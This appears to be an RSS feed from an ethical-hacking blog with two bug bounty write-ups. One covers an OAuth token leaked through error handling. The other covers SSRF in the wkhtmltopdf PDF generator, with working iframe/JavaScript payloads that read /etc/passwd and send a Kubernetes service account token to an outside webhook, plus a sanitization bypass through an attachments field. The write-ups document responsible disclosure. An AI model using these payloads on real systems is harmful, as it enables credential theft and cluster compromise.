<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Ethical Hacking / Cybersecurity Blog]]></title><description><![CDATA[Ethical Hacking / Cybersecurity Blog]]></description><link>https://cr4ntz.sh</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1768561320585/4862bd4f-af7d-499c-9f6e-f42bd581cd35.png</url><title>Ethical Hacking / Cybersecurity Blog</title><link>https://cr4ntz.sh</link></image><generator>RSS for Node</generator><lastBuildDate>Fri, 01 May 2026 09:26:14 GMT</lastBuildDate><atom:link href="https://cr4ntz.sh/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Leaking a Google OAuth 2.0 Access Token Through Misconfigured Error Handling]]></title><description><![CDATA[I was hacking on a mobile app that lets musicians purchase sheet music for various compositions. After having proxied traffic from my phone to Burp Suite, I didn't find anything that piqued my interes]]></description><link>https://cr4ntz.sh/leaking-a-google-oauth-2-0-access-token-through-misconfigured-error-handling</link><guid isPermaLink="true">https://cr4ntz.sh/leaking-a-google-oauth-2-0-access-token-through-misconfigured-error-handling</guid><dc:creator><![CDATA[Johannes Rosencrantz]]></dc:creator><pubDate>Tue, 21 Apr 2026 17:26:41 GMT</pubDate><content:encoded><![CDATA[<p>I was hacking on a mobile app that lets musicians purchase sheet music for various compositions. After having proxied traffic from my phone to Burp Suite, I didn't find anything that piqued my interest or seemed vulnerable, all the API endpoints appeared secure. So I decided to download the APK from the Play Store onto my computer to analyze the binary and potentially find more endpoints worth investigating.</p>
<p>To do this I used Android Studio, which lets you simulate a real phone on your computer. I downloaded the app onto the simulated device and then pulled it onto my computer via ADB. ADB (Android Debug Bridge) is a command-line tool that lets your computer communicate with an Android device or emulator.</p>
<p>With the binary in hand, it was time to analyze it. I used a tool called JADX, a decompiler for Android apps. Fortunately, the app wasn't obfuscated at all, so I could read the source code and all its strings without any issues.</p>
<p>I quickly found the section of the code containing all the API endpoints and discovered many that hadn't shown up while proxying traffic. One endpoint caught my attention: <code>processPlayStoreCreditsPurchaseReceipt</code>, which appeared to handle receipts related to in-app purchases. My first thought was an access control bug, maybe I could fetch other users' receipts? It turned out to be far worse than that.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6958ffdf14b85234e1d8d50e/2b849740-73e5-402a-a5d6-8260298ef5fc.png" alt="" style="display:block;margin:0 auto" />

<p>After identifying what parameters the endpoint accepted, I sent garbage values to see how it would respond.</p>
<pre><code class="language-plaintext">POST /parse/functions/processPlayStoreCreditsPurchaseReceipt HTTP/2 
... 
{ "receiptId": 123, "userId": 123, "productID": 123, "purchaseToken": "asdsad" }
</code></pre>
<p>The response contained a live Google OAuth 2.0 access token, the one the backend used to communicate with the Google Play Android Publisher API. <em>(Had to redact this one for obvious reasons)</em></p>
<img src="https://cdn.hashnode.com/uploads/covers/6958ffdf14b85234e1d8d50e/43535ad4-1897-4272-ba3d-363df7195298.png" alt="" style="display:block;margin:0 auto" />

<p>The backend was taking the values from the POST request, <code>productID</code> and <code>purchaseToken</code> , and passing them directly into a server-side request to the Google Play API to retrieve information about a purchase. Since we sent garbage values, that request failed, and because the error handling in <code>/parse/functions/processPlayStoreCreditsPurchaseReceipt</code> was completely misconfigured, instead of returning a clean error response, it leaked the OAuth access token the backend had used to authenticate with the Google API.</p>
<p>So what could be done with this token? Quite a lot, it turns out. Using it against Google's APIs, you could call <a href="https://developers.google.com/android-publisher/api-ref/rest/v3/edits/insert"><em>/androidpublisher/v3/applications/{pkg}/edits</em></a> to obtain an edit ID, then use that ID to <a href="https://developers.google.com/android-publisher/api-ref/rest/v3/edits.apks/upload">push changes to the app on the Play Store</a> — for example, uploading malicious code. In practice, this means silently pushing a trojanized update to every single user of the app. Not great.</p>
<p>The team behind the app responded swiftly and fixed the issue.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6958ffdf14b85234e1d8d50e/69a994ee-4cfe-4b20-a896-61a45b798aa2.png" alt="" style="display:block;margin:0 auto" />]]></content:encoded></item><item><title><![CDATA[Exploiting SSRF in PDF Generation to Leak a Kubernetes Service Account Token]]></title><description><![CDATA[Note – Disclosure Status:This vulnerability has not been disclosed by the affected company. Any information that could identify the company has been redacted.

Intro
While hunting for bugs on a company’s VDP (Vulnerability Disclosure Program) on the ...]]></description><link>https://cr4ntz.sh/exploiting-ssrf-in-pdf-generation-to-leak-a-kubernetes-service-account-token</link><guid isPermaLink="true">https://cr4ntz.sh/exploiting-ssrf-in-pdf-generation-to-leak-a-kubernetes-service-account-token</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[hacking]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Johannes Rosencrantz]]></dc:creator><pubDate>Sun, 18 Jan 2026 14:05:41 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p><strong>Note – Disclosure Status:</strong><br />This vulnerability has not been disclosed by the affected company. Any information that could identify the company has been redacted.</p>
</blockquote>
<h2 id="heading-intro">Intro</h2>
<p>While hunting for bugs on a company’s VDP (Vulnerability Disclosure Program) on the platform <a target="_blank" href="https://www.hackerone.com/bug-bounty-programs">HackerOne</a>, I took a closer look at one of the subdomains and noticed something interesting. The website included a chat feature for customer–support communication, as well as an option to download the chat history.</p>
<p>When this option was used, a server-side generated PDF containing the full chat logs was downloaded to the browser. This suggested that a PDF generation engine was being used on the backend.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1768557579778/4f9b3b58-5b66-4906-baec-089fedd0fe13.png" alt class="image--center mx-auto" /></p>
<p>After watching Ben Sadeghipour’s DEF CON talk,<br /><a target="_blank" href="https://www.youtube.com/watch?v=o-tL9ULF0KI"><strong>Owning the Cloud through SSRF &amp; PDF Generators</strong></a>,<br />I thought that attacking this feature would be worth exploring.</p>
<h2 id="heading-identifying-the-pdf-generator">Identifying the PDF generator</h2>
<p>So how do you attack a PDF generator running on some random machine on the internet? The first step in any attack is reconnaissance, understanding what software and version you are dealing with.</p>
<p>In this case, I downloaded a generated PDF and opened it in HxD, a hex editor that allows inspection of a file’s raw bytes. PDF generators often leave behind identifiable artifacts, such as embedded strings, that reveal which software was used to create the file.</p>
<p>I found what I was looking for from the first few bytes:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1768342286470/9563bc8f-4b2f-4b4d-b888-9ad8baff2d8c.png" alt /></p>
<blockquote>
<p><strong>wkhtmltopdf 0.12.4</strong></p>
</blockquote>
<h2 id="heading-wkhtmltopdf">wkhtmltopdf</h2>
<p><strong>wkhtmltopdf</strong> is a command-line tool that converts HTML documents or web pages into PDF files. It uses a headless WebKit rendering engine, which means it loads and displays HTML, CSS, JavaScript, images, and fonts just like a web browser. Once the page is fully rendered, the tool generates a PDF by essentially “printing” the content. It should be noted that <strong>wkhtmltopdf</strong> is no longer maintained and should not be used.</p>
<h2 id="heading-finding-vulnerabilities">Finding vulnerabilities</h2>
<p>After identifying both the PDF generator and its version, I immediately searched for known security issues affecting this release. It did not take long before I came across a <a target="_blank" href="https://github.com/wkhtmltopdf/wkhtmltopdf/issues/4536">GitHub discussion</a> where a contributor mentioned a security issue related to the default configuration of the tool.</p>
<p>All versions of <strong>wkhtmltopdf ≤ 0.12.5</strong> allow access to local files on the machine where the program is running. This means that if <strong>wkhtmltopdf</strong> receives HTML or JavaScript referencing a local file, it will be able to access and read it.</p>
<p>This behavior becomes dangerous when untrusted HTML is passed to the renderer without proper sanitization.</p>
<h2 id="heading-is-it-vulnerable">Is it Vulnerable?</h2>
<p>I wanted to see if my input was being sent unsanitized to <strong>wkhtmltopdf</strong>, to test this I created a simple payload using HTML and JavaScript that would trigger an out-of-band (OOB) interaction to one of my webhooks if the PDF generator rendered it. I pasted the payload as a chat message and then generated a PDF containing the chat history.</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">iframe</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"javascript:fetch('https://webhook.site/WEBHOOK_ID')"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">iframe</span>&gt;</span>
</code></pre>
<p>After a few seconds, I received a callback from an IP address. This IP most likely belonged to the machine running <strong>wkhtmltopdf</strong>.</p>
<p>This confirmed that JavaScript execution was possible and that we could forge requests (SSRF) within the PDF generation context.</p>
<p>Next, I wanted to see whether I could access local files using the <code>file://</code> protocol. I initially assumed that the machine was running Linux, so I tested the following simple payload:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">iframe</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"file:///etc/passwd"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">iframe</span>&gt;</span>
</code></pre>
<p>The contents of <code>/etc/passwd</code>, a list of local user accounts, were embedded directly into the generated PDF and could be read without any issues. This is really good as it confirms that we have local file access.</p>
<p>However, this did not demonstrate meaningful impact on its own. Simply leaking usernames is not enough. I wanted to show that it was possible to access more sensitive and confidential information.</p>
<p>Instead of blindly brute-forcing file paths, I relied on prior knowledge about the target environment. The callback IP I received earlier belonged to Microsoft, which strongly suggested that <strong>wkhtmltopdf</strong> was running on a Microsoft hosted system. This made it possible to more reliably infer the underlying platform and identify default files that were far more likely to contain sensitive information. I came to the conclusion that the PDF generator was being ran inside a Kubernetes cluster.</p>
<h2 id="heading-kubernetes">Kubernetes</h2>
<p><a target="_blank" href="https://azure.microsoft.com/en-us/resources/cloud-computing-dictionary/what-is-kubernetes#watch-how-kubernetes-works">Kubernetes</a> is a platform for running and managing containerized applications across a cluster of machines. Applications interact with the cluster through the Kubernetes API.</p>
<p>A <strong>pod</strong> is the smallest deployable unit in Kubernetes. It typically contains one or more containers that share the same network namespace and storage, and run together on a node.</p>
<p>The file <code>/var/run/secrets/kubernetes.io/serviceaccount/token</code> contains a service account token that is automatically mounted into pods and used to authenticate to the Kubernetes API. If an attacker obtains this token, they can act as the pod’s service account. Depending on its permissions, this may allow cluster enumeration, access to secrets, lateral movement, or even full cluster compromise.</p>
<h2 id="heading-poc-exploitation">PoC + Exploitation</h2>
<p>My goal was to obtain the service account token. Since it is mounted into pods by default, I knew it should be accessible. By putting together a simple payload, I should be able to read the file and send its contents to my webhook.</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">iframe</span> <span class="hljs-attr">src</span>=<span class="hljs-string">\</span>"<span class="hljs-attr">javascript:x</span>=<span class="hljs-string">new</span> <span class="hljs-attr">XMLHttpRequest</span>;<span class="hljs-attr">x.onload</span>=<span class="hljs-string">function(){new</span> <span class="hljs-attr">Image</span>()<span class="hljs-attr">.src</span>=<span class="hljs-string">'https://webhook.site/WEBHOOK_ID/?data='</span>+<span class="hljs-attr">encodeURIComponent</span>(<span class="hljs-attr">this.responseText</span>)};<span class="hljs-attr">x.open</span>('<span class="hljs-attr">GET</span>','<span class="hljs-attr">file:</span>///<span class="hljs-attr">var</span>/<span class="hljs-attr">run</span>/<span class="hljs-attr">secrets</span>/<span class="hljs-attr">kubernetes.io</span>/<span class="hljs-attr">serviceaccount</span>/<span class="hljs-attr">token</span>');<span class="hljs-attr">x.send</span>()\"&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">iframe</span>&gt;</span>
</code></pre>
<p>The <code>iframe</code> element is used to execute content when the document is rendered. Its <code>src</code> attribute contains a JavaScript URL, which runs the embedded code as soon as the iframe loads.</p>
<p>The code creates an <code>XMLHttpRequest</code> object and configures it to perform a <strong>GET request</strong> to the service account token using a <code>file://</code> URI. When the request completes, an <code>onload</code> handler makes the response available in the <code>responseText</code> property.</p>
<p>Next, a new <code>Image</code> object is created, and its <code>src</code> attribute is set to an external URL with the token URL-encoded as a parameter. This automatically triggers an HTTP request to our webhook, sending the token.</p>
<p>I pasted the final payload as a comment in the chat</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1768562702366/837ad916-ab79-4fc5-a26b-1298fe5a9e87.png" alt class="image--center mx-auto" /></p>
<p>After pressing the <strong>“Download Comment History”</strong> button, I received a request that contained the entire service account token as a request parameter. Success!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1768479312265/c26f9e90-62b5-4991-8e27-7ce84f45283c.png" alt class="image--center mx-auto" /></p>
<p>At this point, I stopped testing, as any further exploitation would have been out of scope for this target. I reported the vulnerability to the company on HackerOne, where it was classified as a critical, the highest severity level. The company was very pleased with the finding, and as a result, I was invited to their private BBP (Bug Bounty Program), where researchers get paid money for identifying security issues that could impact the organization.</p>
<h2 id="heading-the-bypass">The Bypass</h2>
<p>The company initially addressed the issue by sanitizing all HTML content in chat messages, which prevented payloads like the one used in the PoC from being sent. However, the fix was implemented incorrectly and only partially mitigated the vulnerability.</p>
<p>When a chat message is sent, the following JSON structure is constructed and transmitted to the server via a POST request (only the relevant fields are shown):</p>
<pre><code class="lang-json"><span class="hljs-string">"chat"</span>: [
  {
    <span class="hljs-attr">"message"</span>: <span class="hljs-string">"My chat message"</span>,
    <span class="hljs-attr">"attachments"</span>: [
      <span class="hljs-string">""</span>
    ]
  }
]
</code></pre>
<p>After the fix, the <code>message</code> field was properly sanitized, making it impossible to inject payloads such as:</p>
<pre><code class="lang-json"><span class="hljs-string">"chat"</span>: [
  {
    <span class="hljs-attr">"message"</span>: <span class="hljs-string">"&lt;iframe src=\"file:///etc/passwd\"&gt;&lt;/iframe&gt;"</span>,
    <span class="hljs-attr">"attachments"</span>: [
      <span class="hljs-string">""</span>
    ]
  }
]
</code></pre>
<p>However, the root problem was that <strong>only the</strong> <code>message</code> field was sanitized, while the <code>attachments</code> field was left untouched. This allowed the same attack vector to be reused by placing the payload in the <code>attachments</code> field instead.</p>
<pre><code class="lang-json"><span class="hljs-string">"chat"</span>: [
  {
    <span class="hljs-attr">"message"</span>: <span class="hljs-string">"My chat message"</span>,
    <span class="hljs-attr">"attachments"</span>: [
      <span class="hljs-string">"&lt;iframe src=\"javascript:x=new XMLHttpRequest;x.onload=function(){new Image().src='https://webhook.site/WEBHOOK_ID?data='+encodeURIComponent(this.responseText)};x.open('GET','file:///var/run/secrets/kubernetes.io/serviceaccount/token');x.send()\"&gt;&lt;/iframe&gt;.jpg"</span>
    ]
  }
]
</code></pre>
<p>This resulted in the same impact as the original vulnerability.</p>
<p>After reporting this bypass through the company’s private bug bounty program (which I had recently been invited to), the issue was fully resolved by applying proper sanitization to <strong>all user-controlled input fields</strong>. The vulnerability was confirmed fixed, and I was awarded <strong>$4,000</strong>, which was the program’s maximum payout.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1768562975705/bfc3a48d-2971-475a-94f5-594aa0b14f03.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-timeline">Timeline</h2>
<ul>
<li><p><strong>July 22, 2025, 10:26 UTC</strong> – Vulnerability reported to the affected company.</p>
</li>
<li><p><strong>August 1, 2025, 19:28 UTC</strong> – Initial response received from the company.</p>
</li>
<li><p><strong>August 27, 2025, 19:07 UTC</strong> – Original vulnerability fixed.</p>
</li>
<li><p><strong>August 31, 2025, 07:45 UTC</strong> – Bypass reported.</p>
</li>
<li><p><strong>September 25, 2025, 18:17 UTC</strong> – Bypass fully fixed; exploit no longer functional. I was awarded <strong>$4,000</strong>.</p>
</li>
</ul>
<h2 id="heading-conclusion">Conclusion</h2>
<p>When deploying PDF generators, there are many things that can go wrong, as shown in this write-up. Blindly trusting user input and using old or outdated software can quickly lead to a total loss of confidentiality and integrity as internal assets are compromised. This write-up demonstrates some of the risks that arise when user input is not properly handled and software is not kept up to date.</p>
<p>Thanks for reading!</p>
]]></content:encoded></item></channel></rss>